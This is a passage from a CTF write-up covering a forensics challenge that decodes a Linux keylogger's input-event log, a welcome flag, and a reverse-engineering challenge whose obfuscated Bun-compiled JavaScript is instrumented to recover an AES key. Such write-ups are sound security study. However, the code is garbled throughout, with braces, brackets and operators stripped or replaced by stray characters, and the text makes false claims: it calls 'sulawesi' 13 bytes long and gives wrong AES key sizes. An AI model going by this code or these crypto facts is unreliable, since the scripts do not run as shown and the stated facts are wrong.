    33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l", 39: ";", 40: "'", 44: "z", 
    45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m", 51: ",", 52: ".", 53: "/",
    57: " ", 103: "UP", 108: "DOWN", 105: "LEFT", 106: "RIGHT"


# Mapping saat Shift ditekan
SHIFT_MAP = 
    "1": "!", "2": "Ä", "3": "#", "4": "$", "5": "%", "6": "Ü", "7": "&", "8": "*", 
    "9": "(", "0": ")", "-": "_", "=": "+", "": "", "": "", "Ø": "ø", ";": ":", 
    "'": '"', ",": "<", ".": ">", "/": "?"


def parse_keylogger_log(file_path):
    decoded_chars = 
    shift_active = False
    caps_active = False
    ctrl_active = False

    try:
        with open(file_path, 'rb') as f:
            while True:
                data = f.read(EVENT_SIZE)
                if not data or len(data) < EVENT_SIZE:
                    break
                
                _, _, ev_type, code, value = struct.unpack(FMT, data)
                
                if ev_type == 1:  # EV_KEY
                    # 1. Update status modifier
                    if code in 42, 54: # Shift
                        shift_active = (value != 0)
                        continue
                    if code == 58 and value == 1: # Caps Lock toggle
                        caps_active = not caps_active
                        continue
                    if code in 29, 97: # Ctrl
                        ctrl_active = (value != 0)
                        continue

                    # 2. Proses hanya saat Press (1) atau Repeat (2)
                    if value in 1, 2:
                        key = KEY_MAP.get(code, f"Key:code")

                        # Logika Backspace
                        if key == "BACKSPACE":
                            if decoded_chars:
                                decoded_chars.pop()
                            continue

                        # Logika CTRL Shortcut (misal CTRL+C)
                        if ctrl_active:
                            decoded_chars.append(f"ÜKey:key")
                            continue

                        # Logika Karakter Normal
                        if len(key) == 1 or key == "n":
                            if key.isalpha():
                                # Huruf dipengaruhi Shift XOR CapsLock
                                if shift_active Ü caps_active:
                                    key = key.upper()
                            elif shift_active:
                                # Simbol dipengaruhi Shift
                                key = SHIFT_MAP.get(key, key)
                            
                            decoded_chars.append(key)
                        else:
                            # Abaikan label tombol fungsi/navigasi agar output bersih
                            # Jika ingin melihatnya, aktifkan baris di bawah:
                            # decoded_chars.append(key)
                            pass

        return "".join(decoded_chars)

    except Exception as e:
        return f"Error: e"

if __name__ == "__main__":
    result = parse_keylogger_log('cron.aseng')
    print(result)

alt text

The decoded keystrokes reveal an openssl enc command that encrypted whatisthis.baboi into whatisthis.enc with the following parameters:

  • Cipher: AES-256-CBC
  • Input file: whatisthis.baboi
  • Output file: whatisthis.enc
  • Password: 4_g00d_fr13nD_in_n33D

To decrypt it, add the -d flag:

1
openssl enc -d -aes-256-cbc -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.enc > whatisthis

alt text

After successfully decrypting the file, the output was still in a hexadecimal dump format rather than plain text. To convert it into a fully readable format, I wrote a Python script to decode the hexadecimal data back into its original representation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import re

def decode_log(filename):
    with open(filename, "r") as f:
        data = f.read()

    result = 
    i = 0

    while i < len(data):
        # Handle BACKSPACE
        if data.startswith("BACKSPACE", i):
            if result:
                result.pop()
            i += len("BACKSPACE")
        
        # Ignore ENTER
        elif data.startswith("ENTER", i):
            result.append("")
            i += len("ENTER")
        
        # Ignore Key:XX
        elif data.startswith("Key:", i):
            end = data.find("", i)
            i = end + 1
        
        else:
            result.append(data)
            i += 1

    return "".join(result).lower()


if __name__ == "__main__":
    decoded = decode_log("log.txt")
    print("==== DECODED OUTPUT ====")
    print(decoded)

alt text

Flag

1
C2C{it_is_just_4_very_s1mpl3_l1nuX_k3ylogger_xixixi_haiyaaaaa_ez}

Misc

Welcome

FieldValue
AuthorSKSD
CategoryMisc
AttachmentNone
StatusSolved

Description

Welcome to Country-to-Country CTF (C2C) 2026!!

Challenges were created by SKSD.

Solution

The flag was shown in the welcome material.

Image

Flag

1
C2C{welcome_to_c2c}

Reverse Engineering

Bunaken

FieldValue
Authorvidner
CategoryReverse Engineering
Attachmentdist.zip
StatusSolved

Description

Can you help me recover the flag?

Initial Notes

  • Start with file type, strings, and basic binary metadata.
  • Identify whether the flag is checked statically, generated dynamically, or hidden behind an algorithm.
  • Use static analysis first, then debugger/emulation if needed.

Solution

Given 2 files, bunaken and flag.txt.bunakencrypted

1
2
und3rfl0w@fedora:~/ctftime/c2c/rev/bunakens$ file bunaken
bunaken: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=109a021c1b3405d73bd0e95dcad52ec5857f4ed9, not stripped

bunaken is an ELF binary. After running strings bunaken | grep flag, I found obfuscated JavaScript embedded inside the executable.

alt text

The output revealed embedded obfuscated JavaScript code inside the binary. This strongly indicates that bunaken is a Bun-compiled executable, meaning the original application was written in JavaScript and bundled into a native binary using Bun. Therefore, the encryption logic is likely implemented in JavaScript and embedded within the executable.

After extracting the embedded JavaScript from the Bun binary, the code was heavily obfuscated. The script uses:

  • String array indirection (w())
  • Index remapping (l() and c())
  • RC4-based string decryption
  • An array rotator IIFE to dynamically realign string indices

This is a common JavaScript obfuscation pattern where:

  1. All strings are stored in an array.
  2. Accessed via numeric offsets.
  3. Encrypted using RC4.
  4. Decrypted at runtime using a key.
  5. The array is rotated until a checksum expression matches a target value.

The critical function is:

function c(n, r)

This function:

  1. Retrieves an obfuscated string from the array.
  2. Base64-decodes it.
  3. Decrypts it using RC4 with a provided key.
  4. Caches the result.

Key observations:

  • b64decode() converts base64 → raw string.
  • rc4() performs classic RC4 stream cipher decryption.
  • c.decrypt = rc4 assigns the decryptor.
  • All meaningful strings (API names, crypto parameters,

filenames) are dynamically decrypted at runtime. The Bunaken binary uses heavy obfuscation to hide all meaningful strings and key parameters. Every API call, filename, and cryptographic function name is stored in an array, encrypted with RC4, and accessed indirectly through computed indices. Additionally, the AES encryption mode, initialization vector (IV) generation, and key derivation are all constructed dynamically at runtime, meaning the exact values are not visible by simply reading the code.

Because of this, static analysis alone—looking at the code without execution—was insufficient. To reliably recover the hidden strings and understand the encryption logic, I instrumented the code dynamically. Specifically, I:

  • Injected console.log() calls inside the decryption function

    c() to print each string after it was decrypted.

  • Captured the runtime values of all cryptographic

    parameters, such as keys, IVs, and algorithm identifiers.

  • Logged the arguments passed to WebCrypto API functions to

    track how data flowed through encryption routines.

This approach effectively transformed the obfuscated binary into a dynamic string dumper, allowing me to reconstruct the encryption mechanism, recover the AES key, and decrypt the target file without manually resolving every offset or deobfuscating the entire array by hand.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
function w() {
    let n = [
        "WR0tF8oezmkl","toString","W603xSol","1tlHJnY","1209923ghGtmw",
        "text","13820KCwBPf","byteOffset","40xRjnfn","Cfa9",
        "bNaXh8oEW6OiW5FcIq","alues","lXNdTmoAgqS0pG","D18RtemLWQhcLConW5a",
        "nCknW4vfbtX+","WOZcIKj+WONdMq","FCk1cCk2W7FcM8kdW4y",
        "a8oNWOjkW551fSk2sZVcNa","yqlcTSo9xXNcIY9vW7dcS8ky","from",
        "iSoTxCoMW6/dMSkXW7PSW4xdHaC","c0ZcS2NdK37cM8o+mW",
        "377886jVoqYx","417805ESwrVS","7197AxJyfv",
        "cu7cTX/cMGtdJSowmSk4W5NdVCkl","W7uTCqXDf0ddI8kEFW",
        "write","encrypt","ted","xHxdQ0m","byteLength",
        "6CCilXQ","304OpHfOi","set","263564pSWjjv","subtle",
        "945765JHdYMe","SHA-256","Bu7dQfxcU3K","getRandomV"
    ];
    return w = function() { return n; }, w();
}

function l(n, r) {
    return n = n - 367, w()[n];
}

var y = l;
var s = c;

function c(n, r) {
    n = n - 367;
    let t = w(),
        x = t[n];

    if (c.init === undefined) {

        var b64decode = function(i) {
            let f = "", a = "";
            for (let d = 0, o, e, p = 0;
                 e = i.charAt(p++);
                 ~e && (o = d % 4 ? o * 64 + e : e, d++ % 4)
                     ? f += String.fromCharCode(255 & o >> (-2 * d & 6))
                     : 0)
                e = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(e);

            for (let d = 0; d < f.length; d++)
                a += "%" + ("00" + f.charCodeAt(d).toString(16)).slice(-2);

            return decodeURIComponent(a);
        };

        let rc4 = function(i, key) {
            let s = [], j = 0, x, res = "";
            i = b64decode(i);

            for (let i2 = 0; i2 < 256; i2++) s[i2] = i2;

            for (let i2 = 0; i2 < 256; i2++) {
                j = (j + s[i2] + key.charCodeAt(i2 % key.length)) % 256;
                x = s[i2];
                s[i2] = s[j];
                s[j] = x;
            }

            let i2 = 0; j = 0;

            for (let y2 = 0; y2 < i.length; y2++) {
                i2 = (i2 + 1) % 256;
                j = (j + s[i2]) % 256;
                x = s[i2];
                s[i2] = s[j];
                s[j] = x;
                res += String.fromCharCode(
                    i.charCodeAt(y2) ^ s[(s[i2] + s[j]) % 256]
                );
            }

            return res;
        };

        c.decrypt = rc4;
        c.cache = {};
        c.init = true;
    }

    let cacheKey = n + w()[0];

    if (!c.cache[cacheKey]) {
        x = c.decrypt(x, r);
        c.cache[cacheKey] = x;
    } else {
        x = c.cache[cacheKey];
    }

    return x;
}

/* ===== ARRAY ROTATOR (WAJIB) ===== */

(function(n, r) {
    let t = c,
        x = l,
        b = n();

    while (true) {
        try {
            if (
                parseInt(x(405)) / 1 * (parseInt(x(383)) / 2) +
                -parseInt(x(385)) / 3 * (parseInt(t(382, "9Dnx")) / 4) +
                parseInt(x(384)) / 5 * (-parseInt(x(393)) / 6) +
                parseInt(x(396)) / 7 * (parseInt(x(369)) / 8) +
                parseInt(t(381, "R69F")) / 9 +
                -parseInt(x(367)) / 10 +
                -parseInt(x(406)) / 11 === r
            ) break;
            else b.push(b.shift());
        } catch (e) {
            b.push(b.shift());
        }
    }
})(w, 105028);

/* ===== MAIN ===== */

// }, m = async (n, r) => {
//     let t = c,
//         x = l,
//         b = crypto[x(401) + x(372)](new Uint8Array(16)),
//         u = await h(n),
//         I = await crypto[x(397)][t(371, "kAmA")](t(370, "CYgn"), u, {
//             name: "AES-CBC"
//         }, !1, [x(389)]),
//         A = await crypto.subtle[x(389)]({
//             name: t(375, "dHTh"),
//             iv: b
//         }, I, r);

(async () => {
// Bun[y(388)]("flag.txt.b" + s(374, "CYgn") + y(390), Buffer[s(404, "(Y*]")](z)[y(403)](s(376, "$lpa")));
// b = crypto[x(401) + x(372)](new Uint8Array(16)),
// S = Bun[s(391, "9Dnx")](s(377, "R69F")), k = await S[y(407)](), v = await Bun[s(387, "f]pG") + "ss"](k), z = await m(Buffer[y(380)](s(373, "rG]G")), v);
    const key =s(373, "rG]G");
    const encr_mech = y(380);
    console.log("KEY =", key);
    console.log("enc =", encr_mech);
    

})();

From the runtime dump, the recovered key string is sulawesi and the encryption mode is AES-CBC. The first 16 bytes of the decoded encrypted file are used as the IV, while the remaining bytes are the ciphertext.

Since AES-CBC keys need to be 8, 16, 32, or 64 bytes and “sulawesi” is 13 bytes, it can’t be used directly. I noticed there’s a “SHA-256” thing in the string array that’s not really used in the code, so I figured the AES key is probably sha256(“sulawesi”)[:16] (taking the first 16 bytes because AES usually wants 16 bytes for AES). here is my solver

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import AES
import hashlib
from base64 import b64decode

with open('flag.real','r') as f:
    a = f.read()

ct = b64decode(a)[16:]
iv = b64decode(a)[:16]
key = hashlib.sha256(b'sulawesi').digest()[:16]

cipher = AES.new(key,AES.MODE_CBC,iv)
print(cipher.decrypt(ct).decode('latin-1'))

Flag

1
C2C{BUN_AwKward_ENcryption_compression_obfuscation}

Conclusion

Final notes:

  • Blockchain challenges mostly came down to contract state and ABI encoding assumptions.
  • Corp Mail was a good reminder that blocking an endpoint at the proxy layer does not fix backend trust issues.
  • The Log challenge was mostly careful timeline and payload reconstruction.
  • Tattletale and Bunaken both rewarded dynamic analysis after static analysis revealed the general direction.
  • Overall, the set had a nice mix of source review, forensics, reverse engineering, and scripting.

“Capture The Flag is not just a game. It’s a journey to mastering cybersecurity.”
#HappyHacking 🔐

This post is licensed under CC BY 4.0 by the author.